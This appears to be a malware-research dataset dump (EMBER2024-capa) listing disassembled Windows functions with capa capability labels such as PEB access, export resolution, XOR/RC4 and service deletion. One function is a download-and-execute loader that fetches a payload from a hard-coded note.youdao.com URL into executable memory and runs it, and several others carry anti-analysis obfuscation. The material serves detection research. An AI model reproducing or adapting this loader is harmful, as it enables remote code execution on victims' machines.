joyce8/EMBER2024-capa huggingface dataset:
Function at 0x464ac0
Capabilities:
Access peb ldr_data

Disassembly:
lea r12, [rsp - 0x30]
cmp r12, qword [r14 + 0x10]
jbe 0x464cb6
sub rsp, 0xb0
mov qword [rsp + 0xa8], rbp
lea rbp, [rsp + 0xa8]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0x60], 0
movups xmmword [rsp + 0x68], xmm15
movups xmmword [rsp + 0x40], xmm15
mov rax, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0xc0]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov byte [rsp + 0x10], 0
call fcn.00402500
xorps xmm15, xmm15
mov r14, qword [0x0057dc00]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x18]
mov qword [rsp + 0x38], rax
cmp rax, 0xffffffffffffffff
jne 0x464b52
jmp 0x464b9d
mov qword [rsp + 0x60], 0
movups xmmword [rsp + 0x68], xmm15
lea rdx, [0x004cf828]
mov qword [rsp + 0x40], rdx
lea rsi, [0x004cf4e0]
mov qword [rsp + 0x48], rsi
mov rdi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x60]
mov rbp, qword [rsp + 0xa8]
add rsp, 0xb0
ret
mov rcx, qword [rsp + 0xc0]
mov qword [rsp + 0x38], rcx
inc rcx
mov qword [rsp + 0x30], rcx
lea rax, [0x0049f880]
mov rbx, rcx
nop dword [rax]
call fcn.00443aa0
mov rdx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x30]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rdx
mov qword [rsp + 0x88], rsi
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rdx
mov qword [rsp + 0xa0], rsi
mov rdx, qword [rsp + 0xc0]
mov rsi, qword [rsp + 0xb8]
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rdx
mov rsi, qword [rsp + 0x98]
mov qword [rsp + 0x28], rsi
cmp rsi, rdx
jg 0x464c2a
jmp 0x464c31
mov qword [rsp + 0x28], rdx
jmp 0x464c33
jmp 0x464c33
mov rdx, qword [rsp + 0x90]
nop dword [rax + rax]
cmp qword [rsp + 0x50], rdx
jne 0x464c49
jmp 0x464c67
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x20], rcx
mov rax, qword [rsp + 0x90]
mov rbx, qword [rsp + 0x50]
call fcn.0045bc20
jmp 0x464c69
jmp 0x464c69
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
mov r9, qword [rsp + 0x88]
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x68], r8
mov qword [rsp + 0x70], r9
movups xmmword [rsp + 0x40], xmm15
mov rbx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x60]
xor edi, edi
xor esi, esi
mov rbp, qword [rsp + 0xa8]
add rsp, 0xb0
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00458c40
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00464ac0
Function at 0x14001aa66
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
push r15
movsxd rax, dword [rcx + 0x3c]
mov rsi, r8
mov r15d, edx
mov rbp, rcx
mov r9d, dword [rax + rcx + 0x88]
add byte [rax], al
add byte [rcx - 0x75], al
pop rsp
or dword [rax], esp

Function at 0x14001b1e6
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov rax, qword gs:[0x60]
mov r8, rdx
mov edi, ecx
mov rbx, qword [rax + 0x18]
add rbx, 0x10
mov rbx, qword [rbx]
xor r10d, r10d
xor r9d, r9d
mov r11, qword [rbx + 0x60]
movzx ecx, word [r11]
test cx, cx
je 0x14001b264
nop word [rax + rax]
mov eax, dword [r8 + 0x12c]
movzx edx, cx
cmp eax, edx
ja 0x14001b251
mov eax, dword [r8 + 0x100]
cmp edx, eax
ja 0x14001b251
mov eax, dword [r8 + 0x12c]
mov edx, 0x61
sub dx, ax
add cx, dx
inc r9
movzx edx, cx
add r10d, edx
movzx ecx, word [r11 + r9*2]
test cx, cx
jne 0x14001b226
cmp edi, r10d
jne 0x14001b206
mov rax, qword [rbx + 0x30]
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
ret

Function at 0x140034a88
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x14003491b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003491b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003491b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003491b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003491b
cmp dword [rcx + 0x84], 0xe
jbe 0x14003491b
cmp dword [rcx + 0xf8], 0
je 0x14003491b
mov ecx, ebx
call fcn.1400349bc
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.1400347ac
cmp dword [rbp + 0x20], 0
je 0x140034968
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140034970
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400348b4

Function at 0x180001180
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
cmp edx, 1
jne 0x1800011a8
xor eax, eax
lea r8, section..text
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x38
ret
Function at 0x140001460
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], rbp
push rdi
mov eax, 0x4b050
call fcn.1400142c0
sub rsp, rax
mov rax, qword [0x140024ac0]
xor rax, rsp
mov qword [rsp + 0x4b040], rax
lea rcx, str.RookIE_1.0
xor edi, edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x20], edi
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rbp, rax
test rax, rax
je 0x140001629
lea rdx, str.http:__note.youdao.com_yws_api_personal_file_WEBc7752a5b44cf31cd9e9d721a0d970fd4_methoddownloadinlinetrueshareKey4f844929b1b74e4d4389f7ddbc7c5c9c
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x4b060], rbx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x4b068], rsi
mov dword [rsp + 0x20], 0x4000000
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rsi, rax
test rax, rax
je 0x14000158a
mov ebx, edi
cmp dword [rsp + 0x30], ebx
jbe 0x14000157f
nop
lea r9, [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov r8d, 0x4afff
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov r11d, dword [rsp + 0x30]
test r11d, r11d
je 0x14000157f
mov r9d, 0x40
mov r8d, 0x1000
test rdi, rdi
jne 0x14000154c
mov edx, r11d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x14000157f
mov rcx, rax
jmp 0x140001566
lea edx, [rbx + r11]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x14000157f
mov ecx, ebx
mov rdi, rax
add rcx, rax
mov r8d, dword [rsp + 0x30]
lea rdx, [rsp + 0x40]
call fcn.1400082e0
mov eax, dword [rsp + 0x30]
add ebx, eax
test eax, eax
jne 0x140001500
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1400015f8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
call fcn.140004c80
mov edx, ebx
mov rcx, rax
call fcn.1400019c0
mov dl, 0xa
mov rcx, rax
mov rsi, rax
call fcn.140001ba0
mov rcx, qword [rsi]
mov ebx, edi
movsxd rcx, dword [rcx + 4]
test byte [rcx + rsi + 0x10], 6
jne 0x1400015d4
mov rcx, qword [rcx + rsi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove ebx, ecx
mov rax, qword [rsi]
movsxd rcx, dword [rax + 4]
add rcx, rsi
test ebx, ebx
je 0x1400015f8
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], rdi
jne 0x1400015f0
or edx, 4
xor r8d, r8d
call fcn.140001250
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rsi, qword [rsp + 0x4b068]
mov rbx, qword [rsp + 0x4b060]
test rdi, rdi
je 0x140001629
call rdi
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x4b040]
xor rcx, rsp
call fcn.140008040
mov rbp, qword [rsp + 0x4b070]
add rsp, 0x4b050
pop rdi
ret
Function at 0x14000d563
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140024ac0]
jne 0x14000805a
rol rcx, 0x10
test cx, 0xffff
jne 0x140008056
repz ret
ror rcx, 0x10
jmp 0x14000d4bc
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140026480]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140026578]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14000d541
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140026480]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000d563
mov rax, qword [rsp + 0x88]
mov qword [0x140026578], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140026518], rax
mov rax, qword [0x140026578]
mov qword [0x1400263f0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140026500], rax
mov dword [0x1400263e0], 0xc0000409
mov dword [0x1400263e4], 1
mov rax, qword [0x140024ac0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140024ac8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140026478], eax
mov ecx, 1
call fcn.14001465c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14001d4f0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140026478], 0
jne 0x14000d5ea
mov ecx, 1
call fcn.14001465c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x14000e7b8
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.14000e628
Function at 0x140015644
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140024ac0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.14000df40
xor ebx, ebx
cmp qword [0x140027420], rbx
mov rdi, rax
jne 0x140015757
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14001582e
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14001582e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140027420], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140027428], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140027430], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140027440], rax
test rax, rax
je 0x14001574e
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140027438], rax
jmp 0x14001575e
mov rax, qword [0x140027438]
jmp 0x140015765
mov rax, qword [0x140027438]
mov r11, qword [0x140027440]
cmp rax, rdi
je 0x1400157cc
cmp r11, rdi
je 0x1400157cc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140027440]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x1400157cc
test rax, rax
je 0x1400157cc
call rsi
test rax, rax
je 0x1400157c6
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x1400157c6
test byte [rsp + 0x40], 1
jne 0x1400157cc
bts ebp, 0x15
jmp 0x14001580c
mov rcx, qword [0x140027428]
cmp rcx, rdi
je 0x14001580c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14001580c
call rax
mov rbx, rax
test rax, rax
je 0x14001580c
mov rcx, qword [0x140027430]
cmp rcx, rdi
je 0x14001580c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14001580c
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140027420]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14001582e
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140015830
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140008040
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400f95e2
Capabilities:
Encode data using xor

Disassembly:
push rax
pushf
mov eax, 0xac5a0312
pushf
not eax
add eax, 0xa5ea3b56
xor eax, 0xb30dcbb7
rol eax, 0x12
popf
pushf
not eax
add eax, 0x91c3bae1
xor eax, 0x8dcfefd3
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xc61183f8
xor eax, 0xca6cc020
rol eax, 0x1f
popf
cmp eax, 2
jne 0x1400f9632
popf
pop rax
jmp 0x1400f9716
cmp eax, 0
jne 0x1400f9641
popf
pop rax
jmp 0x1400f9650
cmp eax, 1
jne 0x1400f9650
popf
pop rax
jmp 0x1400f96b3
push rbx
sub rsp, 0x50
mov rax, qword [0x1400c1010]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r8d, edx
mov qword [rsp + 0x28], rcx
mov rbx, rcx
lea r9, [rsp + 0x45]
nop word [rax + rax]
push rax
pushf
mov eax, 0xb80219f7
pushf
not eax
add eax, 0x8575ff23
xor eax, 0xb535ee9a
rol eax, 0x16
popf
pushf
not eax
add eax, 0xdee5a473
xor eax, 0xf28792f4
rol eax, 0x9e
popf
jmp 0x1400f9623
dec r9
mov eax, 0xd1ae9245
pushf
not eax
add eax, 0x8946dcb8
xor eax, 0x82feff2e
rol eax, 0xd7
popf
pushf
not eax
add eax, 0x9c5be41c
xor eax, 0xbac76257
rol eax, 0x17
popf
pushf
not eax
add eax, 0xda12eb41
xor eax, 0xb9db9b24
rol eax, 0xc6
popf
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x1400f96b3
lea r8, [rsp + 0x45]
mov rdx, r9
mov rcx, rbx
call fcn.14025e781
mov rax, rbx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14020dea3
add rsp, 0x50
pop rbx
ret
Function at 0x14024351c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0xed1c23d7
pushf
not eax
add eax, 0x919207e1
xor eax, 0xaa4fe46e
rol eax, 0x91
popf
pushf
not eax
add eax, 0xd3045c3d
xor eax, 0xe4fd86bf
rol eax, 0x53
popf
pushf
not eax
add eax, 0xfb88ae92
xor eax, 0xc9f61123
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xcc2d14db
xor eax, 0xa9304dbd
rol eax, 0xba
popf
cmp eax, 2
jne 0x14024357f
popf
pop rax
jmp 0x140243704
cmp eax, 0
jne 0x14024358e
popf
pop rax
jmp 0x14024359d
cmp eax, 1
jne 0x14024359d
popf
pop rax
jmp 0x140243660
sub rsp, 0x38
mov rax, qword [0x1400c1950]
mov r9, qword [rax + 0x3ea0]
mov r8, qword [r9 + 0x188]
cmp dword [r8 + 0x10], 1
je 0x14024361a
push rax
pushf
mov eax, 0xb6d189fc
pushf
not eax
add eax, 0xf4509dcd
xor eax, 0xc6158763
rol eax, 0x8f
popf
pushf
not eax
add eax, 0x83b33150
xor eax, 0xd91a7d70
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xdf7158b9
xor eax, 0xba3e444b
rol eax, 0x66
popf
pushf
not eax
add eax, 0xdae25555
xor eax, 0xdcf89093
rol eax, 0x76
popf
jmp 0x140243570
push rax
pushf
mov eax, 0xb0f7a6c5
pushf
not eax
add eax, 0xd7b63fda
xor eax, 0x96ad3174
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xeb22ca21
xor eax, 0xf5b880de
rol eax, 0
popf
pushf
not eax
add eax, 0xf070d67b
xor eax, 0xc5bc8f01
rol eax, 0xbf
popf
jmp 0x140243570
movups xmm0, xmmword [r9 + 0x218]
movups xmmword [r8 + 0x3c], xmm0
mov rax, qword [r9 + 0x278]
movups xmm0, xmmword [r8 + 0x2c]
movss xmm4, dword [r8 + 0x2c]
movss xmm3, dword [r8 + 0x30]
movss xmm2, dword [r8 + 0x34]
movss xmm1, dword [r8 + 0x38]
movups xmmword [r9 + 0x218], xmm0
movss dword [rsp + 0x20], xmm4
movss dword [rsp + 0x24], xmm3
movss dword [rsp + 0x28], xmm2
movss dword [rsp + 0x2c], xmm1
movss dword [rax + 0x88], xmm4
movss dword [rax + 0x8c], xmm3
movss dword [rax + 0x90], xmm2
movss dword [rax + 0x94], xmm1
mov rax, qword [r9 + 0x278]
movups xmm0, xmmword [rsp + 0x20]
movsxd rdx, dword [rax + 0x58]
mov rcx, qword [rax + 0x60]
add rdx, rdx
movups xmmword [rcx + rdx*8 - 0x10], xmm0
mov rdx, qword [r9 + 0x278]
lea rcx, [r8 + 0x70]
xor r8d, r8d
add rsp, 0x38
jmp fcn.140131f41
add rsp, 0x38
ret
Function at 0x140267622
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0x66f0b9c1
pushf
not eax
add eax, 0xd59a8c7c
xor eax, 0xc165e196
rol eax, 0xd4
popf
pushf
not eax
add eax, 0x95405fa2
xor eax, 0xa3220545
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xbec222d1
xor eax, 0xef8aa022
rol eax, 0xdc
popf
cmp eax, 2
jne 0x140267672
popf
pop rax
jmp 0x1402677b5
cmp eax, 0
jne 0x140267681
popf
pop rax
jmp 0x140267690
cmp eax, 1
jne 0x140267690
popf
pop rax
jmp 0x14026771a
sub rsp, 0x38
mov rax, qword [0x1400c1950]
mov r10, qword [rax + 0x3ea0]
mov r9, qword [r10 + 0x188]
cmp dword [r9 + 0x10], 1
je 0x1402676e7
push rax
pushf
mov eax, 0x1bc42970
pushf
not eax
add eax, 0x9f59e766
xor eax, 0xfc55cffc
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xf6863272
xor eax, 0xf8c2a226
rol eax, 0xa
popf
jmp 0x140267663
push rax
pushf
mov eax, 0x85de7263
pushf
not eax
add eax, 0xb2b4a111
xor eax, 0xcae0cf4c
rol eax, 0xee
popf
pushf
not eax
add eax, 0xb13d2cd4
xor eax, 0xf8c4b34e
rol eax, 0x1e
popf
jmp 0x140267663
movups xmm0, xmmword [r9 + 0x3c]
mov rax, qword [r10 + 0x278]
movss xmm4, dword [r9 + 0x3c]
movss xmm3, dword [r9 + 0x40]
movss xmm2, dword [r9 + 0x44]
movss xmm1, dword [r9 + 0x48]
movups xmmword [r10 + 0x218], xmm0
movss dword [rsp + 0x20], xmm4
movss dword [rsp + 0x24], xmm3
movss dword [rsp + 0x28], xmm2
movss dword [rsp + 0x2c], xmm1
movss dword [rax + 0x88], xmm4
movss dword [rax + 0x8c], xmm3
movss dword [rax + 0x90], xmm2
movss dword [rax + 0x94], xmm1
mov rax, qword [r10 + 0x278]
movups xmm0, xmmword [rsp + 0x20]
movsxd rdx, dword [rax + 0x58]
mov rcx, qword [rax + 0x60]
add rdx, rdx
movups xmmword [rcx + rdx*8 - 0x10], xmm0
mov r8d, dword [r9 + 0xc]
lea rcx, [r9 + 0x70]
mov rdx, qword [r10 + 0x278]
inc r8d
add rsp, 0x38
jmp fcn.140131f41
add rsp, 0x38
ret
Function at 0x14026854f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0xddc3354c
pushf
not eax
add eax, 0x94b4c40e
xor eax, 0xbc5073ad
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xa5dcb2b1
xor eax, 0xba7c5da1
rol eax, 0x1f
popf
cmp eax, 2
jne 0x14026858c
popf
pop rax
jmp 0x14026864b
cmp eax, 0
jne 0x14026859b
popf
pop rax
jmp 0x1402685aa
cmp eax, 1
jne 0x1402685aa
popf
pop rax
jmp 0x14026863a
push rbx
sub rsp, 0x20
mov rbx, rcx
lea rax, [rcx + 0xc8]
mov ecx, 0xf91f2a62
pushf
not ecx
add ecx, 0x920e667f
xor ecx, 0xe888b363
rol ecx, 0x39
popf
pushf
not ecx
add ecx, 0xcce7f6b1
xor ecx, 0xce068f92
rol ecx, 0xb5
popf
xor edx, edx
nop word [rax + rax]
push rax
pushf
mov eax, 0x32bf2a61
pushf
not eax
add eax, 0xd052935c
xor eax, 0xf55ef23c
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xd4c4cce1
xor eax, 0xb1799d60
rol eax, 0x12
popf
pushf
not eax
add eax, 0x9cc97d20
xor eax, 0xf6fdd37c
rol eax, 0x71
popf
jmp 0x14026857d
mov qword [rax], rdx
mov qword [rax + 8], rdx
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x14026863a
mov rcx, rbx
mov dword [rbx], 0x3f800000
mov dword [rbx + 4], 0x3f19999a
mov dword [rbx + 8], 0x41000000
mov qword [rbx + 0xc], 0x41000000
mov dword [rbx + 0x14], 0x3f800000
mov dword [rbx + 0x18], 0x42000000
mov qword [rbx + 0x1c], 0x42000000
mov qword [rbx + 0x24], 0x3f000000
mov dword [rbx + 0x2c], edx
mov qword [rbx + 0x30], 0x3f800000
mov dword [rbx + 0x38], 0x3f800000
mov dword [rbx + 0x3c], 0x40800000
mov qword [rbx + 0x40], 0x40400000
mov dword [rbx + 0x48], edx
mov dword [rbx + 0x4c], 0x41000000
mov dword [rbx + 0x50], 0x40800000
mov dword [rbx + 0x54], 0x40800000
mov dword [rbx + 0x58], 0x40800000
mov dword [rbx + 0x5c], 0x40800000
mov qword [rbx + 0x60], 0x40000000
mov dword [rbx + 0x68], edx
mov dword [rbx + 0x6c], 0x41a80000
mov dword [rbx + 0x70], 0x40c00000
mov dword [rbx + 0x74], 0x41600000
mov dword [rbx + 0x78], 0x41100000
mov qword [rbx + 0x7c], 0x41400000
mov dword [rbx + 0x84], 0x40800000
mov qword [rbx + 0x88], 0x40800000
mov dword [rbx + 0x90], edx
mov dword [rbx + 0x94], 1
mov dword [rbx + 0x98], 0x3f000000
mov qword [rbx + 0x9c], 0x3f000000
mov dword [rbx + 0xa4], edx
mov dword [rbx + 0xa8], 0x41980000
mov dword [rbx + 0xac], 0x41980000
mov dword [rbx + 0xb0], 0x40400000
mov dword [rbx + 0xb4], 0x40400000
mov dword [rbx + 0xb8], 0x3f800000
mov word [rbx + 0xbc], 0x101
mov byte [rbx + 0xbe], 1
mov dword [rbx + 0xc0], 0x3fa00000
mov dword [rbx + 0xc4], 0x3e99999a
call fcn.1401586de
mov rax, rbx
add rsp, 0x20
pop rbx
ret
Function at 0x1402bca76
Capabilities:
Access peb ldr_data
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword gs:[0x60]
xor r11d, r11d
mov rsi, r8
mov ebp, edx
mov rdi, qword [rax + 0x10]
movsxd rbx, dword [rdi + 0x3c]
add rbx, rdi
movzx eax, word [rbx + 0x14]
lea r9, [rbx + 0x18]
movzx r10d, word [rbx + 6]
add r9, rax
test r10, r10
je 0x1402bcb35
mov dword [rsp + 0x78], 0x6544302e
mov byte [rsp + 0x7c], 0x76
movups xmm2, xmmword [r9]
lea rcx, [rsp + 0x78]
movups xmm0, xmmword [r9 + 0x10]
movsd xmm1, qword [r9 + 0x20]
movd edx, xmm2
movups xmmword [rsp + 0x20], xmm2
movsd qword [rsp + 0x40], xmm1
movups xmmword [rsp + 0x30], xmm0
test dl, dl
je 0x1402bcb1d
lea rax, [rsp + 0x78]
lea r8, [rsp + 0x20]
sub r8, rax
movzx eax, dl
nop
movzx edx, al
cmp al, byte [rcx]
jne 0x1402bcb1d
movzx eax, byte [r8 + rcx + 1]
inc rcx
movzx edx, al
test al, al
jne 0x1402bcb06
cmp dl, byte [rcx]
lea rdx, [rsp + 0x20]
cmovne rdx, r11
add r9, 0x28
mov r11, rdx
sub r10, 1
jne 0x1402bcac8
mov eax, dword [r11 + 0xc]
mov rdx, rsi
mov ecx, dword [rbx + 8]
mov eax, dword [rax + rdi]
xor eax, dword [rbx + 0x68]
ror eax, cl
mov ecx, ebp
add rax, rdi
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
jmp rax
Function at 0x140003c90
Capabilities:
Delete service
Stop service

Disassembly:
sub rsp, 0x58
mov rax, qword [0x140011010]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor edx, edx
mov r8d, 0xf003f
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
cmp qword [0x140015400], 8
lea rdx, [0x1400153e8]
mov r8d, 0x20
mov qword [0x140015d90], rax
cmovae rdx, qword [0x1400153e8]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
xor ecx, ecx
lea r8, [rsp + 0x20]
xorps xmm0, xmm0
mov qword [0x140015dd8], rax
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x38], ecx
lea edx, [rcx + 1]
mov rcx, rax
movups xmmword [rsp + 0x20], xmm0
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x140003d15
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [0x140015dd8]
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x140003d2c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [0x140015d90]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [0x140015dd8]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14000a720
add rsp, 0x58
ret